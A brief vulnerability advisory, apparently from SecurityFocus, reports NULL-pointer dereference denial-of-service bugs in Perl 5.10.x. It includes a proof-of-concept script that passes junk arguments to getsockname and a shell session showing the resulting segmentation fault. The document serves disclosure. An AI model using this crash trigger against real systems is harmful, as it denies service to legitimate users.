source: https://www.securityfocus.com/bid/47766/info
Perl is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.
An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.
Perl versions 5.10.x are vulnerable.
jonathan () blackbox:~/test$ cat poc1.pl
#!/usr/bin/perl
$a =
getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
jonathan () blackbox:~/test$ perl poc1.pl
Segmentation fault (core dumped)
jonathan () blackbox:~/test$
